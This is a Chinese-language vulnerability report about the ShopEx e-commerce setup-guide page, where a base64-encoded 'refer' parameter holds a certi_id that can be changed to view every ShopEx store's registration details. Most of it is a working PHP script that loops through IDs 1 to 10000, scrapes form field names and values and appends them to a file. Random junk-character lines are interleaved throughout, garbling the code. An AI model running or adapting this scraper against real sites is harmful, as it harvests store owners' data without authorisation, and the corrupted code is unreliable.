ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
ShopEx某接口缺陷,可遍历所有网站
$ V3 ?  e, l" V5 Q: p/ ]详细说明：
问题出现在shopex 网店使用向导页面
1 g. d0 Q+ d: A2 j6 c# K) A  @


: h' Z% d* ]% u& B( T: b  T4 dhttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=


% L7 w% K4 @; `. k2 d8 l0 F
) z3 \) a- V1 g, Drefer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}

1 k9 c8 P0 O+ ?/ r9 {, m) {

4 M9 @; r) N# w/ c9 d; D我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
5 r9 h9 ~9 {' r5 V) p" |9 H3 ~
2 l, S, o+ u  i+ y6 d2 w

: [- S4 P0 `; Y3 x3 d- v' {<?php
8 g5 f- `/ U- t1 }  F. F/ s1 h* |
8 o6 o. f1 D1 o% }5 \                for ($i=1; $i < 10000; $i++) { //遍历
" x* P! R6 W5 k8 a% A# J
                        ShowshopExD($i);
5 _% Z5 D7 i4 k9 q( a, Y
                }
  F) u( ~  v$ }% X8 \4 n
                function ShowshopExD($cid) {
7 ^9 }8 B- f9 B* w
                $url='http://guide.ecos.shopex.cn/step2.php';
6 R& A7 K. D, ^3 O, A
7 _% ?$ k6 z5 n2 X$ ?3 b                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
2 U# t7 h$ g# L7 f# F
! |3 N# u( p3 S1 q5 ?# T8 K        $url = $url.'?refer='.$refer;
2 I6 p( E1 F8 t9 B9 w" t
        $ch = curl_init($url);
$ h4 e7 a/ z8 M+ g
  _2 @4 b" w7 V& h* f        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
7 I$ R$ L( w" p
- g5 b) Z3 @8 y8 j/ }- S        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;

        $result = curl_exec($ch);

        $result = mb_convert_encoding($result, "gb2312", "UTF-8");

        if(strpos($result,$refer))
+ u; i: ^' r' ?) \6 |
        {

# Q/ B- ~% \3 h                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
+ B- r  ]; X2 h( n% a: k
                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
3 A5 I/ T& A" y6 ~" A. G5 s( j% q  a
# e$ i: [* z1 G                foreach ($value[1] as $key) {

4 F. @9 T0 |( n* r7 q, x! @2 b                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);

                        echo $res[1][0].':'.$res[3][0]."\r\n";

9 m+ G0 {( D) T3 m+ s                        $col =$res[1][0].':'.$res[3][0]."\r\n";

3 `: |9 R% ^. t( ~" C/ y' s                        fwrite($fp, $col, strlen($col));

                }

                echo '--------------------------------'."\r\n";
/ Z  c3 ]4 V/ Y3 X5 l+ u2 x- P, \7 M! T
* S7 `* x( H3 G                fclose($fp);
) U' x( `9 W7 Z" k' r: r
        }
9 X" M5 y, Y# V
/ n  d! {! _" r& |4 S0 s  Q        flush();
3 L$ }" f' W3 Q
        curl_close($ch);
- l0 G  V9 g+ K4 M; m
4 P: [1 F1 U. L9 N  k" F( J                }
3 ?( m% m: H* B; |
?>
漏洞证明：
/ P  R* ^+ a1 Jhttp://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
refer换成其他加密方式
! K  G8 b* t; w- L+ m% B3 a  U; h$ G